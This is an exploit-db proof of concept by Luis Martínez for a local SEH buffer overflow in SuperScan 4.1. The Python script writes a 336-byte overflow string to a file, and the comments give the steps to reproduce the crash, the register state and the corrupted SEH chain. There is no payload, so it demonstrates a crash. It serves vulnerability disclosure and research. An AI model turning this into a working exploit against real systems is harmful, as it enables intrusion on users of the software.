SuperScan 4.1 – Windows Enumeration Hostname/IP/URL Field Overflow (SEH)

  • 作者： Luis Martínez
    日期： 2015-11-19
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/38760/
  • #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title : SuperScan 4.1 Windows Enumeration Hostname/IP/URL Field SEH Overflow Crash PoC
# Discovery by: Luis Martínez
# Email		: l4m5@hotmail.com
# Discovery Date: 18/11/2015
# Vendor Homepage : http://www.foundstone.com
# Software Link : http://www.mcafee.com/us/downloads/free-tools/superscan.aspx
# Tested Version: 4.1
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows XP Professional SP3 x86 es
# Steps to Produce the Crash: 
# 1.- Run python code : python super_scan_4.1_windows_enumeration.py
# 2.- Open super_scan_4.1_windows_enumeration.txt and copy content to clipboard
# 3.- Open SuperScan4.1.exe
# 4.- Paste Clipboard Windows Enumeration > Hostname/IP/URL
# 5.- Clic on button -> Enumerate
# 6.- Crashed
##########################################################################################
#-----------------------------------NOTES----------------------------------------------#
##########################################################################################
# After the execution of POC, the SEH chain looks like this: 
# 00E3FF98 43434343
# 42424242 *** CORRUPT ENTRY ***

# And the Stack

#00E3FF88 41414141AAAA
#00E3FF8C 41414141AAAA
#00E3FF90 41414141AAAA
#00E3FF94 41414141AAAA
#00E3FF98 42424242BBBBPointer to next SEH record
#00E3FF9C 43434343CCCCSE handler

# And the Registers

#EAX 00000001
#ECX 00000001
#EDX 7C91E514 ntdll.KiFastSystemCallRet
#EBX 00A028E8
#ESP 00E3FF58 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC"
#EBP 41414141
#ESI 00473774 SuperSca.00473774
#EDI 00000000
#EIP 41414141

buffer = "\x41" * 328
nseh = "\x42" * 4
seh = "\x43" * 4

f = open ("super_scan_4.1_windows_enumeration.txt", "w")
f.write(buffer + nseh + seh)
f.close()